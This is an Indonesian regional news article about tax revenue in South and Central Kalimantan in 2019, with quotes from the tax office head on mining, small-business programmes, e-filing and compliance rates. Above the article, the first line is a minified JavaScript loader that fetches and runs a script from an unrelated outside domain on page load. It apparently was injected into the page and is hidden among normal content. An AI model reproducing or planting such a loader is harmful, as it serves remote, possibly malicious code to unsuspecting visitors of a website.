(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) mengklaim penyerapan pajak yang dibukukan hingga 15 Mei 2019 tembus diangka Rp 4,7 triliun.
Menurut Kepala Kanwil DJP Kalsel-Teng Cucu Supriatna, capaian ini sudah tembus diangka 29,75 persen dari target realisasi penerimaan pajak yang ditargetkan DJP Pusat pada Tahun 2019 yang dipatok sebesar Rp 15,8 Triliun.
“Karena capaian tersebut menurut DJP Pusat kita masuk tiga besar capaian penyerapan pajak terbaik se-Indonesia. Tren ini tentunya harus terus kita lanjutkan sampai tutup Tahun 2019 mendatang,” tegasnya disela kegiatan Gathring Media bersama Kanwil DJP Kalselteng, Rabu (15/5) di Hotel Mercure Banjarmasin.
Ada pun penyerapan pajak tertinggi sendiri diakuinya masih di dominasi oleh sektor pertambangan. Walau begitu pihaknya tetap terus melakukan berbagai terobosan agar sektor-sektor penyerapan pajak potensial lainnya dapat dimaksimalkan.
“Kami sedang berupaya menggarap sektor lain selain pertambangan untuk memaksimalkan penyerapan pajak. Baik itu sektor perkebunan, kehutanan, industri emas hingga UMKM coba sedang kita garap agar bisa memberikan pemasukan pajak yang optimal kepada negara,” tambahnya.
Bahkan terkhusus untuk UMKM pihaknya sudah memiliki program Business Development Service bagi pelaku UMKM dimana UMKM mendapatkan pembinaan dan pengembangan dari DJP dengan harapan kesadaran dan kepatuhan UMKM membayar pajak dapat meningkat.
“Bagi pelaku UMKM yang beromset sampai dengan Rp 4,8 Miliar dalam setahun. Kami bahkan memberikan mereka fasilitas pembayaran pajak final dengan tarif 0,5 persen dari omset,” ungkapnya.
Sedangkan untuk realisasi penyampaian Surat Pemberitahuan Tahunan (SPT) melalui e-Filling sebesar 109,02 persen dari target 84 persen. Namun untuk realisasi tingkat kepatuhan formal untuk Wajib Pajak Badan dan Wajib Pajak Orang Pribadi Non Karyawan diakuinya masih terbilang rendah, yakni hanya sebesar 47,84 persen dari target sebesar 70 persen.
“Untuk badan dan orang pribadi memang masih rendah, karena itulah kita terus coba edukasi lagi melalui rekan-rekan media tentang pentingnya melaporkan pemasukan dan membayar pajak untuk pembangunan negara yang lebih baik lagi kedepannya,” pungkasnya.(arief)
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
This website uses cookies.